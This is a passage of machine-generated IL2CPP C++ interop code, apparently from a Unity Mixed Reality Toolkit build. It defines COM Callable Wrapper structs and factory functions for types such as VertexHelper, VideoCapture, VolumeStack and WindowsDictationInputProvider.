il2cpp_hresult_t STDCALL IPropertyValue_GetInt16Array_m279C289854DE8A2D45A6B6B09112DD9D2F0DF849(uint32_t* ___value0ArraySize, int16_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int16[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt16Array_m090AA712F6BB39F869BCC5CB90236377EE8673B1(uint32_t* ___value0ArraySize, uint16_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt16[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt32Array_mADF499B8CD16185128795A7B74D63E8CFE692B9A(uint32_t* ___value0ArraySize, int32_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int32[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt32Array_m9B44B8D2EA2907A9A96ED653ACEF04873D9483F8(uint32_t* ___value0ArraySize, uint32_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt32[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInt64Array_m9A04AC5F477463928280B42E2C40F13B15A1D564(uint32_t* ___value0ArraySize, int64_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Int64[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetUInt64Array_m776484C9C41D5A03991D89401FF84F9D425D6A5E(uint32_t* ___value0ArraySize, uint64_t** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "UInt64[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSingleArray_m1E9CE76FA942B3AFA8995FBAE605E84733917B57(uint32_t* ___value0ArraySize, float** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Single[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDoubleArray_m5DAB086BEB4816CAF7553E325B91A4B0B07953A5(uint32_t* ___value0ArraySize, double** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Double[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetChar16Array_m2C69248F68D7705FE44FA8F777B061FA77C706A1(uint32_t* ___value0ArraySize, Il2CppChar** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Char16[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetBooleanArray_m083CB5579BC465B4D1BD84CE8382CB747A9FCC8C(uint32_t* ___value0ArraySize, bool** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Boolean[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetStringArray_m680617C6226187D28C4978B710AFBB8581AAC98F(uint32_t* ___value0ArraySize, Il2CppHString** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "String[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetInspectableArray_m6DCBE370A8CAC129E6D6BD91C6503D14A8109F79(uint32_t* ___value0ArraySize, Il2CppIInspectable*** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Inspectable[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetGuidArray_mE9983D9B5EE9AC1935C3EBD2F9E82DC7188E1D07(uint32_t* ___value0ArraySize, Guid_t ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Guid[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetDateTimeArray_mEECFC6C321405CDBC425D321E2A8EF3E7BC306A7(uint32_t* ___value0ArraySize, DateTime_t7C967DBDDE4CAEAA8B5AEB61E36309BCD7D26B8C ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "DateTimeOffset[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetTimeSpanArray_mEAF3CA18AA928DAF3046F0F530B9324711650167(uint32_t* ___value0ArraySize, TimeSpan_t4F6A0E13E703B65365CFCAB58E05EE0AF3EE6203 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "TimeSpan[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetPointArray_mD4ACB0F49C7BFEC1C03A4EE4263B23B2040CECD0(uint32_t* ___value0ArraySize, Point_t155CCDBE84DC37ABFA2CBB4649526701CA3A5578 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Point[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetSizeArray_m3C079B4191330FAC3B2131D308C825BC72A5F0DC(uint32_t* ___value0ArraySize, Size_tDA924E69AB75296FE3B5E81811B78FD56173BB92 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Size[]"); } virtual il2cpp_hresult_t STDCALL IPropertyValue_GetRectArray_m09598924D31716E1E653AE941186F8B16EA11A87(uint32_t* ___value0ArraySize, Rect_tC45F1DDF39812623644DE296D8057A4958176627 ** ___value0) IL2CPP_OVERRIDE { return il2cpp_codegen_com_handle_invalid_iproperty_conversion("Other", "Rect[]"); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_Vector3_t0194CC66E38F631C9297656C3AA662B23F45F53F(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(Vector3_t0194CC66E38F631C9297656C3AA662B23F45F53F_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) Vector3_t0194CC66E38F631C9297656C3AA662B23F45F53F_ComCallableWrapper(obj)); } // COM Callable Wrapper for UnityEngine.UI.VertexHelper struct VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) VertexHelper_tDE8B67D3B076061C4F8DF325B0D63ED2E5367E55_ComCallableWrapper(obj)); } // COM Callable Wrapper for UnityEngine.Windows.WebCam.VideoCapture struct VideoCapture_tD1E122C49208E6DCCEF7FDE2A2C91DD47D010C91_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline VideoCapture_tD1E122C49208E6DCCEF7FDE2A2C91DD47D010C91_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_VideoCapture_tD1E122C49208E6DCCEF7FDE2A2C91DD47D010C91(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(VideoCapture_tD1E122C49208E6DCCEF7FDE2A2C91DD47D010C91_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) VideoCapture_tD1E122C49208E6DCCEF7FDE2A2C91DD47D010C91_ComCallableWrapper(obj)); } // COM Callable Wrapper for UnityEngine.Rendering.VolumeIsolationScope struct VolumeIsolationScope_t9484194A8F015F4651CF7BEE3AE010081C39AA4E_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline VolumeIsolationScope_t9484194A8F015F4651CF7BEE3AE010081C39AA4E_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_VolumeIsolationScope_t9484194A8F015F4651CF7BEE3AE010081C39AA4E(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(VolumeIsolationScope_t9484194A8F015F4651CF7BEE3AE010081C39AA4E_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) VolumeIsolationScope_t9484194A8F015F4651CF7BEE3AE010081C39AA4E_ComCallableWrapper(obj)); } // COM Callable Wrapper for UnityEngine.Rendering.VolumeStack struct VolumeStack_t5AFBD6C1F03199FB3426F72E31C494556A16EBAC_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline VolumeStack_t5AFBD6C1F03199FB3426F72E31C494556A16EBAC_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_VolumeStack_t5AFBD6C1F03199FB3426F72E31C494556A16EBAC(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(VolumeStack_t5AFBD6C1F03199FB3426F72E31C494556A16EBAC_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) VolumeStack_t5AFBD6C1F03199FB3426F72E31C494556A16EBAC_ComCallableWrapper(obj)); } // COM Callable Wrapper for System.IO.WinRtToNetFxStreamAdapter struct WinRtToNetFxStreamAdapter_tD80B23D09908ED4FB814064B29A5FF84D3C6404D_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline WinRtToNetFxStreamAdapter_tD80B23D09908ED4FB814064B29A5FF84D3C6404D_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_WinRtToNetFxStreamAdapter_tD80B23D09908ED4FB814064B29A5FF84D3C6404D(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(WinRtToNetFxStreamAdapter_tD80B23D09908ED4FB814064B29A5FF84D3C6404D_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) WinRtToNetFxStreamAdapter_tD80B23D09908ED4FB814064B29A5FF84D3C6404D_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.Windows.Input.WindowsDictationInputProvider struct WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) WindowsDictationInputProvider_t98F2E5EFEB1FFA411D15C674EDB817E8B4849050_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealityCameraSettings struct WindowsMixedRealityCameraSettings_t88C6B375E46AB4D48219F3C8E154CC63C5EE7136_ComCallableWrapper IL2CPP_FINAL : il2cpp::vm::CachedCCWBase, IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953 { inline WindowsMixedRealityCameraSettings_t88C6B375E46AB4D48219F3C8E154CC63C5EE7136_ComCallableWrapper(RuntimeObject* obj) : il2cpp::vm::CachedCCWBase(obj) {} virtual il2cpp_hresult_t STDCALL QueryInterface(const Il2CppGuid& iid, void** object) IL2CPP_OVERRIDE { if (::memcmp(&iid, &Il2CppIUnknown::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIInspectable::IID, sizeof(Il2CppGuid)) == 0 || ::memcmp(&iid, &Il2CppIAgileObject::IID, sizeof(Il2CppGuid)) == 0) { *object = GetIdentity(); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIManagedObjectHolder::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIMarshal::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } if (::memcmp(&iid, &Il2CppIWeakReferenceSource::IID, sizeof(Il2CppGuid)) == 0) { *object = static_cast(this); AddRefImpl(); return IL2CPP_S_OK; } *object = NULL; return IL2CPP_E_NOINTERFACE; } virtual uint32_t STDCALL AddRef() IL2CPP_OVERRIDE { return AddRefImpl(); } virtual uint32_t STDCALL Release() IL2CPP_OVERRIDE { return ReleaseImpl(); } virtual il2cpp_hresult_t STDCALL GetIids(uint32_t* iidCount, Il2CppGuid** iids) IL2CPP_OVERRIDE { Il2CppGuid* interfaceIds = il2cpp_codegen_marshal_allocate_array(1); interfaceIds[0] = IClosable_t30CA7D2BE598B3BD6AA57CE9DF977DB51540B953::IID; *iidCount = 1; *iids = interfaceIds; return IL2CPP_S_OK; } virtual il2cpp_hresult_t STDCALL GetRuntimeClassName(Il2CppHString* className) IL2CPP_OVERRIDE { return GetRuntimeClassNameImpl(className); } virtual il2cpp_hresult_t STDCALL GetTrustLevel(int32_t* trustLevel) IL2CPP_OVERRIDE { return ComObjectBase::GetTrustLevel(trustLevel); } virtual il2cpp_hresult_t STDCALL IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999() IL2CPP_OVERRIDE { return IClosable_Close_m7DE2119A960C4E3898E6E5D03245D047BF113999_ComCallableWrapperProjectedMethod(GetManagedObjectInline()); } }; IL2CPP_EXTERN_C Il2CppIUnknown* CreateComCallableWrapperFor_WindowsMixedRealityCameraSettings_t88C6B375E46AB4D48219F3C8E154CC63C5EE7136(RuntimeObject* obj) { void* memory = il2cpp::utils::Memory::Malloc(sizeof(WindowsMixedRealityCameraSettings_t88C6B375E46AB4D48219F3C8E154CC63C5EE7136_ComCallableWrapper)); if (memory == NULL) { il2cpp_codegen_raise_out_of_memory_exception(); } return static_cast(new(memory) WindowsMixedRealityCameraSettings_t88C6B375E46AB4D48219F3C8E154CC63C5EE7136_ComCallableWrapper(obj)); } // COM Callable Wrapper for Microsoft.MixedReality.Toolkit.XRSDK.WindowsMixedReality.WindowsMixedRealityDeviceManager struct 